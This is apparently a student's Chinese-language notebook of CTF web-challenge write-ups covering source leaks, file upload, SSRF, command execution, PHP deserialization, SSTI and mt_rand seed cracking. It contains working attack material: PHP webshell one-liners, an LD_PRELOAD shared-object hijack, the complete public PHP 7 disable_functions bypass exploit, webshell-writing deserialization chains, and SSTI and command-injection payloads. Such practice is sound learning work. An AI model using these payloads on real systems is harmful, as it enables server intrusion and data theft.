源码泄露
[FSCTF 2023]寻找蛛丝马迹
这个源码泄露,可以记录一下,涉及的知识点比较多
打开环境
查看源码,
第一段flag
乱码,恢复一下
乱码恢复网站:乱码恢复 (mytju.com)
剩下的就只说方法
http://node4.anna.nssctf.cn:28843/script.js
第三段flag就在这里,也是乱码恢复
扫出来的目录就是第四段和第六段flag
第五段在第四段有提示说和苹果有关系
发现第四段flag
通过搜索发现苹果和DS_store有关系
访问/.DS_store得到第五段flag,和起来就是完全的flag
[GXYCTF 2019]禁止套娃
文件上传
[GXYCTF 2019]BabyUpload
简单测试一下,发现不能上传php文件并且不能上传后面后缀带ph字符的文件,所以想到了用.htaccess和.user.ini去解决这个问题,但是上传.jpg文件被提示太露骨了,所以这里不能直接上传一句话木马,所以我们这里上传1.jpg文件,文件内容为
GIF89a<script language=‘php’>@eval($_POST[“a”]);</script>
之后在上传.htaccess文件,但上传时候需要抓包,将Content-Type:内容改为image/jpge
.htaccess文件内容为
AddType application/x-httpd-php .jpg .txt
之后按照它给的路径进行访问从upload开始在url上面进行访问,前面的文件夹不用加上,因为你就在这个文件夹内的,访问之后,你可以执行命令,也可以连上蚁剑直接提取flag
[UUCTF 2022 新生赛]uploadandinject
知识点:LD_PRELOAD注入,so文件劫持
相关知识点链接:LD_PRELOAD劫持(超详细篇)_ld环境变量劫持-CSDN博客
打开文件,发现只能加载文件不能上传文件,提示访问hint.php
访问之后提示访问.index.php.swp,swp泄露,不过感觉它的提示有点太隐晦了吧,然后会下载文件,文件打开是乱码,在linux系统中用下面命令去查看代码
vim -r index.php.swp
putenv("LD_PRELOAD=/var/www/html/$img_path");
看到这串代码就要敏感,它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。
发现我们可以上传一个文件,然后LD_PRELOAD
到这个恶意文件来执行命令获得flag
这里看了师傅们的wp,找到了一个通杀恶意c代码,自己还没有理解
#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h> __attribute__ ((__constructor__)) void payload (void){ unsetenv("LD_PRELOAD"); system("cat /f*");}
将这串代码用下面命令执行成so文件
gcc -shared -fPIC hacker.c -o hacker.so
然后我们查找上传点,用dirsearch扫了一下发现上传点在/upload/upload.php
将文件名改为.jpg样式,上传,然后退回主页访问这个文件就可以得到flag
[NSSRound#8 Basic]MyPage
打开页面,发现没有任何东西
这里是require_once的一个漏洞,之前听别人讲过,它就是文件已经被包含过了,所以需要下面的语句进行绕过 ,用下面伪协议绕过
payload:http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCg0KaW5jbHVkZSAnZmxhZy5waHAnOw0KDQppZighaXNzZXQoJF9HRVRbJ2ZpbGUnXSkpIHsNCiAgICBoZWFkZXIoJ0xvY2F0aW9uOi9pbmRleC5waHA/ZmlsZT0nKTsNCn0gZWxzZSB7DQogICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KDQogICAgaWYgKCFwcmVnX21hdGNoKCcvXC5cLnxkYXRhfGlucHV0fGdsb2J8Z2xvYmFsfHZhcnxkaWN0fGdvcGhlcnxmaWxlfGh0dHB8cGhhcnxsb2NhbGhvc3R8XD98XCp8XH58emlwfDd6fGNvbXByZXNzL2lzJywgJGZpbGUpKSB7DQogICAgICAgIGluY2x1ZGVfb25jZSAkZmlsZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBkaWUoJ2Vycm9yLicpOw0KICAgIH0NCn0=
<?phperror_reporting(0);include 'flag.php';if(!isset($_GET['file'])) { header('Location:/index.php?file=');} else { $file = $_GET['file']; if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) { include_once $file; } else { die('error.'); }}
直接用php伪协议绕过
http://node1.anna.nssctf.cn:28767/index.php?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
得到base64编码,解码就得到flag
[FSCTF 2023]是兄弟,就来传你の?!
这道题就是考察短标签的命令执行,其他的都比较简单
这道题过滤的点
1.文件里面不能有php标签
2.代码长度不能超过15
3.后缀名不能是php
4.文件内容要有jpg照片的形式
因为不能超过15所以将GIF89a用GF或者BM代替
BM<?=`cat /f*`;
用jpg方式上传抓包修改为pht或者php5等代替;
ssrf
[HNCTF 2022 WEEK2]ez_ssrf
题目有提示访问/index.php,访问之后给了源码
<?phphighlight_file(__FILE__);error_reporting(0);$data=base64_decode($_GET['data']); // 将通过GET方式的dataq进行base64解码$host=$_GET['host']; // 通过GET方式将host值给到$host$port=$_GET['port']; // 通过GET方式将port值给到$port$fp=fsockopen($host,intval($port),$error,$errstr,30); // fsockopen套接字。接收$host主机参数,$port端口参数(先会被转为整数),$error为错误号,设为非0;$errstr (错误信息): 如果连接失败,这个参数会包含一个字符串描述的错误信息。30秒超时if(!$fp) { // 如果$fp有错误,也就是返回的是非0,取反为0,执行退出 die();}else { // 如果$fp没有错误,返回的是0,取反为1真,执行下面的 fwrite($fp,$data); // fwrite函数接收$fp套接字和编码后的数据 while(!feof($data)) // feof判断是否达到数据末尾 { echo fgets($fp,128); // 输出 fgets,fgets接收来自$fp的套接字,并且读取最大128个字节数 } fclose($fp);}
可以看到fsockopen这个函数,这个函数就是使用socket跟服务器建立tcp连接,传输原始数据。,然后在后面的代码又用fp去接收data传来的数据,最后在用fgets进行读取,所以我们就用下面的payload进行接受和将flag输出
?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=
base64内容
GET /flag.php HTTP/1.1Host: 127.0.0.1Connection: Keep-Alive
就是读取本地服务器的文件
命令执行
[BJDCTF 2020]ZJCTF,不过如此
这道题的知识点是文件包含+命令执行,但我感觉命令执行这个点比较的重要
打开题目看见代码
<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php }else{ highlight_file(__FILE__);}?>
非常简单的文件包含,payload
?text=data://plain/text,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php
接下来得到一连串的base64编码,将base64编码解码得到源码
<?php$id = $_GET['id'];$_SESSION['id'] = $id;function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}foreach($_GET as $re => $str) { echo complex($re, $str). "\n";}function getFlag(){@eval($_GET['cmd']);}
这里看到了eval函数但不能直接使用,这里涉及了一个知识点preg_replace()/e模式能够进行命令执行
深入研究preg_replace与代码执行 - 先知社区
大致意思就是用{}包括的字符串会被当作变量去使用,所以有以下payload
http://node4.anna.nssctf.cn:28559/next.php/?\S*=${phpinfo()}
flag就在phpinfo这个页面当中
还可以利用getflag()这个函数
?\S*=${getFlag()}&cmd=system('cat /flag');
[FSCTF 2023]EZ_eval
<?php if(isset($_GET['word'])){ $word = $_GET['word']; if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){ die("nonono."); } $word = str_replace("?", "", $word); eval("?>". $word);}else{ highlight_file(__FILE__);}
这串代码我刚看的时候,就这串代码比较疑惑
eval("?>". $word);
?>不明白这里为啥要设置这个,在看完别的师傅的wp之后我知道了这里是封闭了
就是<?php ?>从而达到封闭效果,?>.word这里是连接效果,如word如果等于hello,那么这串代码的执行效果就是?>word,那么如果我们命令执行的话后面的命令就不会执行了,所以我们需要去执行命令有下面三种方法
<? echo '123';?> #前提是开启配置参数short_open_tags=on
<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用
借鉴博客:[FSCTF 2023]EZ_eval - xrzx - 博客园
所以最终payload
?word=<script%09language="php">system('strings%09/fl*');%09</script>
[FSCTF 2023]Hello,you
打开后查看源码就可以找到源码
根据源码可以执行下面命令,查看一下环境变量就可以找到flag
1;env
[SWPUCTF 2023 秋季新生赛]If_else
打开题目查看源码
某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果提交方式$_POST["check"]记得访问一下check.php哦~check.php的内容<?php $a=false; $b=false; if(你提交的部分将会被写至这里) {$a=true;} else {$b=true;} if($a===true&&$b===true) eval(system(cat /flag));?>
Warning: Unterminated comment starting line 6 in /var/www/html/check.php on line 6<?phperror_reporting(0);highlight_file(__FILE__);$a=false;$b=false;if(1==1) eval(system('cat /flag'));/*){ $a=true;}else{ $b=true;}if($a===true&&$b===true){eval(system(cat /flag));} NSSCTF{588ebbbc-a1ae-4dc4-bf98-623e9438c721}
payload
check=1==1) eval(system('cat /flag'));/*
就是考察了php的注释
[SWPUCTF 2023 秋季新生赛]Pingpingping
打开网页查看源代码
<?phphighlight_file(__FILE__);error_reporting(0);$_ping = $_GET['Ping_ip.exe'];if(isset($_ping)){ system("ping -c 3 ".$_ping);}else{ $data = base64_encode(file_get_contents("error.png")); echo "<img src='data:image/png;base64,$data'/>";}
就是简单的命令执行,payload
Ping[ip.exe=;cat /f*
记得把_换成[就可以了
[GKCTF 2020]CheckIN
<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; }}new ClassName();
我开始不知道在哪执行这段代码
function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; }
public function x() { return $_REQUEST; }
看到这段代码,这就是正常get传参
直接传参
?Ginkgo=cGhwaW5mbygpOw==
可以看到禁了很多函数,蚁剑连一下
eval($_POST[1]);ZXZhbCgkX1BPU1RbMV0pOw==
flag打开是空的,看到readflag可以想到disable_funtion绕过,下载下面代码
<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=72530## This exploit should work on all PHP 7.0-7.3 versions## Author: https://github.com/mm0r1pwn("/readflag");function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();}
这段代码下载地址:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
pwn("uname -a");
把第11行代码改为
pwn("/readflag");
将这段代码上传到/tmp这个文件夹
然后执行命令
?Ginkgo=ZXZhbCgkX1BPU1RbMV0pOw==post1=include('/tmp/1.php');
ZXZhbCgkX1BPU1RbMV0pOw==这段代码解码得到eval($_POST[1]);
[NSSRound#7 Team]ec_RCE
考察的点就是linux执行多条命令
源码
<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --><!-- By 探姬 --><?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data"); echo $output; ?>
前面是一个java命令,不用管直接闭合执行自己的命令
action=;cat /flag;&data=ls
[FBCTF 2019]rceservice
算是学了一种新的命令执行的方式
打开就是一个框,在网上找到源码
<?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; }}?>
大概分析一下这个源码,可以得出它把所有命令都禁了
这里一种新的命令执行的格式就是json格式
先看这行代码
putenv('PATH=/home/rceservice/jail');
这里就是一个环境变量意味着他已经在liunx系统的这个环境之下了
所以cat命令不能执行,需要去cat命令的目录下执行命令
payload
?cmd={%0A"cmd":"ls /home/rceservice"%0A}
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
参考博客
[FBCTF2019]RCEService-CSDN博客
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
源码
<?phperror_reporting(0);highlight_file(__FILE__);function strCheck($cmd){ if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){ echo "hello"; return($cmd); } else{ die("i hate this"); }}$cmd=$_GET['cmd'];strCheck($cmd);shell_exec($cmd);?>
正常的命令执行就是没有回显,就是不能用正则表达式当中的命令
没有回显就写入文件当中访问就可以得到flag
payload
?cmd=cat /fla* > fuck.txt
访问fuck.txt就可以得到flag了
[HNCTF 2022 WEEK2]Canyource
源码
<?phphighlight_file(__FILE__);if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}else die('nonono');}else echo('please input code');?>
第一段正则表达式就是过滤一些命令,主要解释一下第二段正则表达试
\w就是匹配非单词字符即匹配那些非字母,数字,下划线的字符
?R它是递归匹配,没理解,但我的理解是如果在题目中看到这个正则匹配就要考虑无参数RCE
这道题有两种解决方式
第一种
直接读
?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
flag需要查看源码才能找到
第二种
利用环境变量
eval(end(current(get_defined_vars())));&shekk=system(%27cat%20f*%27);
参考博客:[HNCTF 2022 WEEK2]Canyource-CSDN博客
反序列化
[SWPUCTF 2022 新生赛]ez_1zpop
<?phperror_reporting(0);class dxg{ function fmm() { return "nonono"; }}class lt{ public $impo='hi'; public $md51='weclome'; public $md52='to NSS'; function __construct() { $this->impo = new dxg; } function __wakeup() { $this->impo = new dxg; return $this->impo->fmm(); } function __toString() { if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52) return $this->impo->fmm(); } function __destruct() { echo $this; }}class fin{ public $a; public $url = 'https://www.ctfer.vip'; public $title; function fmm() { $b = $this->a; $b($this->title); }}if (isset($_GET['NSS'])) { $Data = unserialize($_GET['NSS']);} else { highlight_file(__file__);}
非常简单的一道题,就是非常简单的链子,用__destruct()->__toString()
所以这里不用担心__toString()不会触发而去寻找别的方法去触发,这道题当中它在自己的类中会自己触发
payload
<?phpclass dxg{ function fmm() { return "nonono"; }}class lt{ public $impo; public $md51='QNKCDZO'; public $md52='240610708';}class fin{ public $a="system"; public $title="cat /flag"; function fmm() { $b = $this->a; $b($this->title); }}$a=new lt();$a->impo=new fin();echo serialize($a);
?NSS=O:2:"lt":3:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:9:"240610708";}
[UUCTF 2022 新生赛]ez_unser
打开网页看到源码
<?phpshow_source(__FILE__);###very___so___easy!!!!class test{ public $a; public $b; public $c; public function __construct(){ $this->a=1; $this->b=2; $this->c=3; } public function __wakeup(){ $this->a=''; } public function __destruct(){ $this->b=$this->c; eval($this->a); }}$a=$_GET['a'];if(!preg_match('/test":3/i',$a)){ die("你输入的不正确!!!搞什么!!");}$bbb=unserialize($_GET['a']);你输入的不正确!!!搞什么!!
看到 public function __construct()设置a的值,而我们又需要用a进行命令执行,所以我们就想到了地址转换,将a的地址给b,那么b的值就是a的值,然后最后给c赋值进行命令执行,因为最后c的值是赋给b了,所以payload如下
<?phpclass Test{ public $a; public $b; public $c;}$a=new Test();$a->b=&$a->a;$a->c="system('cat /fffffffffflagafag');";echo serialize($a);
可以把system里面的命令改一下,先查看目录,之后在打开flag;
[FSCTF 2023]ez_php1
共三关,不难
<?phphighlight_file(__FILE__);error_reporting(0);include "globals.php";$a = $_GET['b'];$b = $_GET['a'];if($a!=$b&&md5($a)==md5($b)){ echo "!!!"; $c = $_POST['FL_AG']; if(isset($c)) { if (preg_match('/^.*(flag).*$/', $ja)) { echo 'You are bad guy!!!'; } else { echo "Congratulation!!"; echo $hint1; } } else { echo "Please input my love FL_AG"; }} else{ die("game over!");}?>
第一关就是不用管那个正则,一个md5弱比较,另外一个就是随便输,不要输入到正则表达式匹配上面就可以
get:?a=240610708&b=QNKCDZOpost: FL_AG=14
<?phphighlight_file(__FILE__);error_reporting(0);include "globals.php";$FAKE_KEY = "Do you love CTF?";$KEY = "YES I love";$str = $_GET['str'];echo $flag;if (unserialize($str) === "$KEY"){ echo "$hint2";}?>
第二关就是反序列化,把这个字符串输入进去序列化一下就行
<?php$KEY = "YES I love";echo serialize($KEY);
payload
?str=s:10:"YES I love";
<?phphighlight_file(__FILE__);error_reporting(0);class Clazz{ public $a; public $b; public function __wakeup() { $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); } public function __destruct() { echo $this->b; }}@unserialize($_POST['data']);?>
第三关和上面那一道题一样地址转换一下就可以了
<?phpclass Clazz{ public $a; public $b;}$c=new Clazz();$c->b=&$c->a;echo serialize($c);
POST:data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
[羊城杯 2020]easyser
这道题涉及的知识点有点多,主要的是那个die绕过
打开网站访问/robots.txt存在泄露,访问提示的路径,然后查看源码
我以为的安全协议是php伪协议啥的,没想到还有这个
http://127.0.0.1/ser.php
你随便输入一些参数就会告诉你参数?path输入上面的payload查看源码
<?phperror_reporting(0);if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") { highlight_file(__FILE__);}$flag = '{Trump_:"fake_news!"}';class GWHT{ public $hero; public function __construct() { $this->hero = new Yasuo; } public function __toString() { if (isset($this->hero)) { return $this->hero->hasaki(); } else { return "You don't look very happy"; } }}class Yongen{ //flag.php public $file; public $text; public function __construct($file = '', $text = '') { $this->file = $file; $this->text = $text; } public function hasaki() { $d = '<?php die("nononon");?>'; $a = $d . $this->text; @file_put_contents($this->file, $a); }}class Yasuo{ public function hasaki() { return "I'm the best happy windy man"; }}
$this->hero = new Yasuo;
开始在这段代码一直在纠结如何解决这段代码,这个类会指向那个return,最后看了wp发现这段代码直接指向Yongen这个类就行,这段代码主要解决的是
$d = '<?php die("nononon");?>';
绕过这个die
需要用phpfilter和string_strip_tags,baseencode
最终exp
<?phpclass GWHT{ public $hero; public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } }}class Yongen{ //flag.php public $file; public $text; public function __construct() { $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'; $this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>"); } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); }}$a = new GWHT();$b = new Yongen();$a->hero = $b;echo urlencode(serialize($a));#O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A36%3A%22PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B%22%3B%7D%7D
最终payload
?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D
这个c需要用argun进行爆破
ssti
[护网杯 2018]easy_tornado
打开网页,有三个链接,一个一个打开内容如下
/flag.txtflag in /fllllllllllllag /welcome.txtrender /hints.txtmd5(cookie_secret+md5(filename))
访问/fllllllllllllag
得到下面内容
检验可以得到msg存在模板注入
tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
所以我们可以说handler.settings指向了RequestHandler.settings了,对吧
这样我们就可以构造一下payload:
?msg={{ handler.settings }}
得到cookie
然后用exp跑一下,得到cookie,让file_filename=这个flag,之前已经告诉我们flag的位置,
import hashlibcookie = 'da0e04ca-2644-45bb-b7e1-2b1fa7347c24'file_filename = '/fllllllllllllag'md5_filename = hashlib.md5(file_filename.encode(encoding='UTF-8')).hexdigest()word = cookie + md5_filenameflag = hashlib.md5(word.encode(encoding='UTF-8')).hexdigest()print(flag)
得到flag
[HZNUCTF 2023 preliminary]flask
正常的ssti就是把ssti语句倒着输入进去就行了
字符串反转网站
字符串反转|中文反转 - 开发工具箱
{{"".__class__}} //这些语句都要反转一下,并且要查看一下源码,第一个查看类名{{"".__class__.__mro__}}{{"".__class__.__mro__[-1]}}{{"".__class__.__mro__[-1].__subclasses__()}}{{"".__class__.__mro__[-1].__subclasses__()[132].__init__}}{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('env').read()}}
[NCTF 2018]Flask PLUS
fenjing一把嗦
python -m fenjing crack-path -u http://node4.anna.nssctf.cn:28970/
fenjing命令
HTTP
这类题就是通过修改请求的一些东西达到目的,积累积累就可以了
[MoeCTF 2021]Do you know HTTP
1.用'HS'来请求试试?
就是修改请求方式,
就是将GET修改为HS
2.
xff ,这个有很多种
python函数漏洞
[GWCTF 2019]枯燥的抽奖
打开网站查看源码
加载check.php,让我们访问check.php
neyBAY8JYe<?php#这不是抽奖程序的源代码!不许看!header("Content-Type: text/html;charset=utf-8");session_start();if(!isset($_SESSION['seed'])){$_SESSION['seed']=rand(0,999999999);}mt_srand($_SESSION['seed']);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }$str_show = substr($str, 0, 10);echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){ if($_POST['num']===$str){ echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; }}show_source("check.php");
mt_srand()考察这个函数的漏洞,这个漏洞具体可以查看大佬博客
[GWCTF 2019]枯燥的抽奖 - L0VEhzzz - 博客园
直接先推种子,代码如下
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'str2='OcRiTWUJrN'res=''for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' breakprint(res)
再用下面的工具
生成种子
<?phpmt_srand(种子); //种子填你自己得到的$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }echo $str;
在用上面代码运行即可得到完整字符串,输入就可以得到flag
[羊城杯 2020]Blackcat
代码审计
go语言代码审计
[SCTF 2021]loginme
这道题就是代码审计,Go语言的代码审计
打开附件先看主函数
